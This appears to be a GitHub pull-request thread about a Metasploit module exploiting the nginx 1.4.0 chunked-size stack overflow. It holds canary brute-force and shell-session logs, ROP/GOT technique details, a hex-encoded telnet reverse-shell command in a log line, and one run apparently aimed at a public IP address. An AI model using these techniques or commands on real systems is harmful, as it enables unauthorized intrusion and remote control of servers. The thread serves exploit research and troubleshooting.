Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit module for nginx chunked stack buffer overflow. #1834

Closed
wants to merge 16 commits into from
Closed

Exploit module for nginx chunked stack buffer overflow. #1834

wants to merge 16 commits into from

Conversation

hal3002
Copy link
Contributor

@hal3002 hal3002 commented May 15, 2013

This is an exploit module for the chunked encoding stack buffer overflow vulnerability in nginx 1.3.9 and 1.4.0. It also includes a ropdb xml file for the exploit with targets for Kali 1.0 (my dev environment) and RHEL 6.4 using the installed libc for both targets.

@saelo
Copy link

saelo commented May 15, 2013

Hi,
I was playing around with that vuln, too. On my Systems (Ubuntu 13.04 and Debian 7) I also need to bypass stack protection (I compiled from source, but all packages I got from repos had stack protection enabled as well), your exploit doesn't seem to do this yet. Also versions 1.3.10-16 are vulnerable, too. Maybe we could work on this together, add more targets and see if we can bypass stack protection?

@hal3002
Copy link
Contributor Author

hal3002 commented May 16, 2013

I'd definitely be willing to give it a go. I actually started looking at Ubuntu 12.04 LTS after sending this request and noticed the same thing. I'll try to take more of a look at it this weekend unless someone has already found a solution.

@hal3002
Copy link
Contributor Author

hal3002 commented May 17, 2013

Running against a fully updated Ubuntu 13.04 against 1.4.0 compiled from source:
[] Searching for stack canary
[
] Bruteforcing byte 1
[*] Byte 1 found: 0x79

[] Bruteforcing byte 2
[
] Byte 2 found: 0x27

[] Bruteforcing byte 3
[
] Byte 3 found: 0xde

[*] Canary found: 0xde277900

[] Sending 2048 byte payload at base 0xb7470000
[
] Sending 2048 byte payload at base 0xb7471000
[] Sending 2048 byte payload at base 0xb7472000
[
] Sending 2048 byte payload at base 0xb7473000
[] Sending 2048 byte payload at base 0xb7474000
[
] Sending 2048 byte payload at base 0xb7475000
[] Sending 2048 byte payload at base 0xb7476000
[
] Sending 2048 byte payload at base 0xb7477000
[] Sending 2048 byte payload at base 0xb7478000
[
] Sending 2048 byte payload at base 0xb7479000
[] Sending 2048 byte payload at base 0xb747a000
[
] Sending 2048 byte payload at base 0xb747b000
[] Sending 2048 byte payload at base 0xb747c000
[
] Sending 2048 byte payload at base 0xb747d000
[] Sending 2048 byte payload at base 0xb747e000
[
] Sending 2048 byte payload at base 0xb747f000
[] Sending 2048 byte payload at base 0xb7480000
[
] Sending 2048 byte payload at base 0xb7481000
[] Sending 2048 byte payload at base 0xb7482000
[
] Sending 2048 byte payload at base 0xb7483000
[] Sending 2048 byte payload at base 0xb7484000
[
] Sending 2048 byte payload at base 0xb7485000
[] Sending 2048 byte payload at base 0xb7486000
[
] Sending 2048 byte payload at base 0xb7487000
[] Sending 2048 byte payload at base 0xb7488000
[
] Sending 2048 byte payload at base 0xb7489000
[] Sending 2048 byte payload at base 0xb748a000
[
] Sending 2048 byte payload at base 0xb748b000
[] Sending 2048 byte payload at base 0xb748c000
[
] Sending 2048 byte payload at base 0xb748d000
[] Sending 2048 byte payload at base 0xb748e000
[
] Sending 2048 byte payload at base 0xb748f000
[] Sending 2048 byte payload at base 0xb7490000
[
] Sending 2048 byte payload at base 0xb7491000
[] Sending 2048 byte payload at base 0xb7492000
[
] Sending 2048 byte payload at base 0xb7493000
[] Sending 2048 byte payload at base 0xb7494000
[
] Sending 2048 byte payload at base 0xb7495000
[] Sending stage (36 bytes) to 192.168.1.19
[
] Command shell session 11 opened (192.168.1.114:5353 -> 192.168.1.19:42020) at 2013-05-16 23:20:08 -0400
ps
PID TTY TIME CMD
12769 ? 00:00:00 sh
12770 ? 00:00:00 ps

@hal3002
Copy link
Contributor Author

hal3002 commented May 17, 2013

Normally I do, but currently that causes it to fail. I figured I would get it up here and then deal with that later. As far as detection, most devices are going to alert on the screwed up chunk size.

@jvazquez-r7
Copy link
Contributor

Hi @saelo and @linuxgeek247 . It s an awesome contribution! Thank you very much! I couldn't resist to join this collaboration effort if you don't mind :$

Tried a GOT dereferencing attack in order to avoid the libc brute forcing attack. Since nginx compiles with NO PIE by default looks like a good approach in order to avoid the brute force attack.

I've implemented it for nginx 1.4.0 compiled (default options) on Debian Squeeze. It's available on this branch so you can give it a look and share your opinion:

https://github.com/jvazquez-r7/metasploit-framework/commits/nginx_got_dereferencing

The commit for my mod module is also here:

jvazquez-r7@811ed7f

The module working:


msf exploit(nginx_chunked_size_no_brute) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(nginx_chunked_size_no_brute) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[-] Exploit failed: No NOP generators succeeded.
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[*] 192.168.172.200:80 - Sending 523 byte payload
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1tNBEwk5zjp3wvoy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1tNBEwk5zjp3wvoy\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.200:53788) at 2013-05-21 20:14:44 -0500

id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

What do you think? I must to admit in my opinion the exploit is more reliable using the GOT dereference over the brute force attack. So if you agree we could migrate the current module to use this technique. Or maybe mix targets and allow both GOT dereferencing and brute force attack :)

Again, thanks very much for the effort! It's kinda awesome.

@hal3002
Copy link
Contributor Author

hal3002 commented May 22, 2013

It's definitely much faster. I never actually thought to do that but it makes sense. The only thing I'm fuzzy on is the purpose of using the offset between localtime_r to system. What's the purpose of that versus just using the system got address? Thanks very much. This should simplify things greatly.

@hal3002
Copy link
Contributor Author

hal3002 commented May 22, 2013

Scratch that. I see what you are doing. I just couldn't figure out what the point of the 0x5d5b14c4 was for.

@jvazquez-r7
Copy link
Contributor

@linuxgeek247 there isn't system in the nginx GOT, because of that we're using the localtime_r one and calculating the system address having into account the libc offset.

The 0x5d5b14c4 offset is because of the "add eax, [ebx+0x5d5b14c4] # ret" gadget. This gadget allows to get on eax the system address if you previously have the localtime_r address (you can get it from the nginx got) and the offset (it's libc specific, so target specific, not a big deal because the curent exploit is also target specific when leaking the libc address) :)

I'm going to work on this today, would like to merge both approaches, brute forcing targets and got dereferencing targets, and land one first version into the framework! :)

Seriously, kinda awesome work guys! :)

@hal3002
Copy link
Contributor Author

hal3002 commented May 22, 2013

I'm actually migrating your got approach for Ubuntu right now. The only difference is the canary bruteforce. Just finishing up the store function now. Would it be better to create rop xml files for this or just store them in the target hash since they are so much smaller?

@jvazquez-r7
Copy link
Contributor

Hi @linuxgeek247 I think storing them in the target hash would be better in this case :) Oka, I wait to your new version and then will work on cleaning it if necessary before merging! thanks @linuxgeek247 !!! Kinda hard work! Just ping me if you need help while coding it. Also, I'm available at freenode, metasploit channel, in case you would like to discuss any detail!

@jvazquez-r7
Copy link
Contributor

Or better, ad a function for generating the rop for every target, and in the target hash meta information, just keep a callback to the correct function to call when generating the rop :). Since ROP chains for these approachs are smaller I feel comfortable adding them in the code.

@hal3002
Copy link
Contributor Author

hal3002 commented May 22, 2013

I've got everything updated now. I've removed RHEL and Cali for now. I'm going to close this pull request and open a clean request.

@hal3002 hal3002 closed this May 22, 2013
@jvazquez-r7
Copy link
Contributor

Sounds good, can't wait to look into it and hopefully merge :)

@danghvu
Copy link

danghvu commented May 22, 2013

I believe there is an execve in nginx, can't you use it directly instead of a calculated system ?

@jvazquez-r7
Copy link
Contributor

Not directly I guess but opens the door to a possible ROP shellcode :)

@niubl
Copy link

niubl commented May 24, 2013

i compile nginx 1.4.0 on kaili 1.0 and ubuntu 12.04,then i test this exp,but it does not work. who guys can tell how to make a vulnerable evironment? my email:448354223@qq.com . think you very much.

@saelo
Copy link

saelo commented May 24, 2013

currently available targets are debian squeeze and ubuntu 13.04 (both 32bit), can you try one of those and see if it works for you?

@niubl
Copy link

niubl commented May 25, 2013

@saelo i test ubuntu 13.04 today,but i failt to exploit by use nginx 1.4.0.is there some other config needed to do during compile nginx?

@saelo
Copy link

saelo commented May 25, 2013

@niubl Ok, interesting. You compiled the version from their mercurial repository? The ROP gadgets in the current exploit didn't work for me either (apparently for the others though), can you check if my version works for you? You can find it here: https://github.com/saelo/metasploit-framework/commit/b06061240a6712a19382be5a8c911be4a764188f
Just download the new file and replace it in your copy of msf. If that still does not work you can send me a copy of your nginx executable (objs/nginx) so I can take a look at it.

@niubl
Copy link

niubl commented May 25, 2013

@saelo this my steps:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
msf exploit(nginx_chunked_size) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(nginx_chunked_size) > show options

Module options (exploit/linux/http/nginx_chunked_size):

Name Current Setting Required Description


RHOST 10.1.11.3 yes The target address
RPORT 80 yes The remote HTTP server port

Payload options (generic/shell_bind_tcp):

Name Current Setting Required Description


LPORT 9999 yes The listen port
RHOST 10.1.11.3 no The target address

Exploit target:

Id Name


0 Ubuntu 13.04 32bit - nginx 1.4.0

msf exploit(nginx_chunked_size) > exploit

[] Started bind handler
[
] 10.1.11.3:80 - Searching for stack canary
[] 10.1.11.3:80 - Assuming byte 0 0x00
[
] 10.1.11.3:80 - Bruteforcing byte 1
[+] 10.1.11.3:80 - Byte 1 found: 0x3c
[] 10.1.11.3:80 - Bruteforcing byte 2
[+] 10.1.11.3:80 - Byte 2 found: 0x3a
[
] 10.1.11.3:80 - Bruteforcing byte 3
[+] 10.1.11.3:80 - Byte 3 found: 0xb5
[+] 10.1.11.3:80 - Canary found: 0xb53a3c00

msf exploit(nginx_chunked_size) > sessions

Active sessions

No active sessions.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
can you give you email? i will send you my nginx source whick i tested.

@saelo
Copy link

saelo commented May 25, 2013

You can find me in the metasploit IRC channel (with this nick), lets talk there :)

@inode-
Copy link

inode- commented Jun 4, 2013

I'm getting the sames problems as niubl, downloaded and installed version 1.4.0, tryed to exploit but failt with official module and saelo one (working on ubuntu 13.04 32bit). Any compiler options needed?

@saelo
Copy link

saelo commented Jun 4, 2013

@inode- can you meet me in IRC, too? No special compiler options should be needed.

@inode-
Copy link

inode- commented Jun 4, 2013

@saelo I'm in, nickname odfijoisjsodifjs

@saelo
Copy link

saelo commented Jun 4, 2013

General Announcement

If you are having trouble getting the exploit to work please make sure you compile with support for pcre and zlib by installing libpcre++-dev and zlib1g-dev in ubuntu :)

@targetnull
Copy link

targetnull commented Aug 16, 2016

@saelo @jvazquez-r7
Hi, I'm trying to reproduce the vulnerability recently. However, neither in centOS(6.8-32bit) or ubuntu(16.04-32bit) does it work.

The following expriment is on Ubuntu 16.04-32bit
Here is what I do from a scratch(I'm running as root, and the IP of ubuntu server is 192.168.193.146):

./configure
make
make install

I start nginx using /usr/local/nginx/sbin/nginx
Then I start msf in another PC running windows 7(whose IP is 192.168.193.134), and when I run, I get the following message:

[] Started reverse TCP double handler on 192.168.193.134:4444
[
] 192.168.193.146:80 - Searching for stack canary
[] 192.168.193.146:80 - Assuming byte 0 0x00
[
] 192.168.193.146:80 - Bruteforcing byte 1
[-] 192.168.193.146:80 - Exploit failed: Errno::ECONNRESET An existing connectio
n was forcibly closed by the remote host.
[*] Exploit completed, but no session was created.

It seems that nginx is rejecting the connection. I am sure I have disabled the firewall and wget 127.0.0.1/test.php was successful.

Actually, if I test this DoS_poc, I get 405 not allowed, which, as I see it, is very likely to be the problem of the configuration of nginx.

Did you do any modification(maybe a subtle one) to the configuration during the install process? Because I can't reproduce it both in Ubuntu and CentOS, and I have no idea about it.

BTW, I have already installed libpcre++-devand zlib1g-dev using apt install.

Thanks.

@hal3002
Copy link
Contributor Author

hal3002 commented Aug 16, 2016

What version of nginx are you attempting to run this on?

@targetnull
Copy link

targetnull commented Aug 16, 2016

It's 1.4.0, I downloaded from exploit-db

And the dos_poc.c is from this link of exploit-db.

@hal3002
Copy link
Contributor Author

hal3002 commented Aug 16, 2016

It could be a number of issues. As you said, it could be a configuration issue but I have no idea what that would be. I think more likely, it's either your compiled version wasn't built with stack canaries or the offset to the stack canary is different than your chosen target. If you include a stack trace it might be more obvious what the issue is. In either case, the ROP chains defined in the metasploit module will more than likely not work for you and you will need to find their equivalent gadgets on your system.

@targetnull
Copy link

targetnull commented Aug 16, 2016

At first, I doubt a problem of the address of gadgets, but I find out that when I run dos_poc.py, it got stuck after a 405 not allowed.

To be more precise, the script will try 5 times by default, and the first try will get the response of 405 not allowed, but from the second try, it just got stuck at

Http request sent, awaiting response...

(P.S., it causes an timeout exception in the script, so I test it manually using wget and find it stuck here)

After that, any connection to nginx will get stuck at the same place, no matter using wget or curl.

If it is the problem of the address, I think it should cause a crash rather than just get stuck. However, I'm not familiar with nginx, is this the expected response?

@hal3002
Copy link
Contributor Author

hal3002 commented Aug 16, 2016

So unfortunately, I have no idea what your dos_poc.py is trying to do but from your error previously:
"[-] 192.168.193.146:80 - Exploit failed: Errno::ECONNRESET An existing connectio
n was forcibly closed by the remote host."

That seems that the connection with reset implying that the application did crash. Keep in mind, that without a debugger following the handling forked PID, you will not see any difference as nginx is forking to handle connections. It will appear as if nginx closed the connection but since it is not returning any kind of HTTP error code and resetting the connection I would assume that you are actually crashing the application.

@targetnull
Copy link

That sounds reasonable. I'll modify the address and try again.

Thanks a lot.

@btroksa
Copy link

btroksa commented Jul 25, 2017

Steps to reproduce

How'd you do it?

  1. ... Starting Nginx 1.4.0
  2. ... Running the nginx_chunked_size exploit via metasploit

This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.

Expected behavior

What should happen?
I expect the exploit to find the stack canary and override it then proceed with the exploit. However, the exploit just searches for the canary bytes and is unable to find them and crashes.

You might also want to check the last ~1k lines of
/opt/metasploit/apps/pro/engine/config/logs/framework.log or
~/.msf4/logs/framework.log for relevant stack traces

The framework.log displays the following:

[07/20/2017 17:09:45] [w(0)] core: /usr/src/metasploit-framework/modules/exploits/linux/http/nginx_chunked_size_no_brute.rb generated a warning during load:
Please change the modules class name from Metasploit4 to MetasploitModule
[07/20/2017 17:09:47] [e(0)] core: Unable to load module /usr/src/metasploit-framework/modules/exploits/linux/smtp/haraka.py Errno::EPIPE Broken pipe
[07/20/2017 17:10:29] [d(0)] core: Echo Command Encoder result: /bin/echo -ne '\x73\x68\x20\x2d\x63\x20\x27\x28\x73\x6c\x65\x65\x70\x20\x33\x36\x34\x33\x7c\x74\x65\x6c\x6e\x65\x74\x20\x31\x37\x32\x2e\x31\x38\x2e\x30\x2e\x33\x20\x34\x34\x34\x34\x7c\x77\x68\x69\x6c\x65\x20\x3a\x20\x3b\x20\x64\x6f\x20\x73\x68\x20\x26\x26\x20\x62\x72\x65\x61\x6b\x3b\x20\x64\x6f\x6e\x65\x20\x32\x3e\x26\x31\x7c\x74\x65\x6c\x6e\x65\x74\x20\x31\x37\x32\x2e\x31\x38\x2e\x30\x2e\x33\x20\x34\x34\x34\x34\x20\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x20\x26\x29\x27'|sh

Edit: Would there be a way to determine the stack canary without Brute Forcing it? This is what I am seeing:

[] 10.222.10.51:8806 - Searching for stack canary
[
] 10.222.10.51:8806 - Assuming byte 0 0x00
[] 10.222.10.51:8806 - Bruteforcing byte 1
[+] 10.222.10.51:8806 - Byte 1 found: 0x00
[
] 10.222.10.51:8806 - Bruteforcing byte 2
[+] 10.222.10.51:8806 - Byte 2 found: 0x00
[] 10.222.10.51:8806 - Bruteforcing byte 3
[+] 10.222.10.51:8806 - Byte 3 found: 0x00
[-] 10.222.10.51:8806 - Exploit aborted due to failure: unknown: - Unable to find stack canary
[
] Exploit completed, but no session was created.

It seems the brute forcing of the stack canary is not working for some reason.

Does someone have the steps they took to set this up and produce the correct results?

@shan9zt
Copy link

shan9zt commented Mar 12, 2019

Hi I am experiencing the same problem as previous guys. I am pretty sure that I have install all the library when I compiled nginx 1.4.0 from exploitdb website. And I am running the exploit on Ubuntu 13.04 32 bit. Here is the result I get:

msf5 exploit(linux/http/nginx_chunked_size) > show options

Module options (exploit/linux/http/nginx_chunked_size):

Name Current Setting Required Description


RHOSTS 0.0.0.0 yes The target address range or CIDR identifier
RPORT 8080 yes The remote HTTP server port (TCP)

Payload options (cmd/unix/bind_netcat):

Name Current Setting Required Description


LPORT 4444 yes The listen port
RHOST 0.0.0.0 no The target address

Exploit target:

Id Name


0 Ubuntu 13.04 32bit - nginx 1.4.0

msf5 exploit(linux/http/nginx_chunked_size) > check
[] 0.0.0.0:8080 - The target appears to be vulnerable.
msf5 exploit(linux/http/nginx_chunked_size) > rexploit
[
] Reloading module...

[] 0.0.0.0:8080 - Searching for stack canary
[
] 0.0.0.0:8080 - Assuming byte 0 0x00
[] 0.0.0.0:8080 - Bruteforcing byte 1
[+] 0.0.0.0:8080 - Byte 1 found: 0xd7
[
] 0.0.0.0:8080 - Bruteforcing byte 2
[+] 0.0.0.0:8080 - Byte 2 found: 0x15
[*] 0.0.0.0:8080 - Bruteforcing byte 3
[+] 0.0.0.0:8080 - Byte 3 found: 0xa0
[+] 0.0.0.0:8080 - Canary found: 0xa015d700

[] Started bind TCP handler against 0.0.0.0:4444
[
] Exploit completed, but no session was created.
msf5 exploit(linux/http/nginx_chunked_size) >

The exploit seems stopped after brute force the stack canary. Any help would be really appreciated. @saelo

@therohitsingh
Copy link

i am also having the same issue as the one above :-

msf5 exploit(linux/http/nginx_chunked_size) > rexploit
[*] Reloading module...

[] Started reverse TCP double handler on 192.168.1.105:4444
[
] 185.27.134.252:80 - Searching for stack canary
[] 185.27.134.252:80 - Assuming byte 0 0x00
[
] 185.27.134.252:80 - Brute forcing byte 1
[+] 185.27.134.252:80 - Byte 1 found: 0x00
[] 185.27.134.252:80 - Brute forcing byte 2
[+] 185.27.134.252:80 - Byte 2 found: 0x00
[
] 185.27.134.252:80 - Brute forcing byte 3
[+] 185.27.134.252:80 - Byte 3 found: 0x00
[-] 185.27.134.252:80 - Exploit aborted due to failure: unknown: 185.27.134.252:80 - Unable to find stack canary
[*] Exploit completed, but no session was created.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

10 participants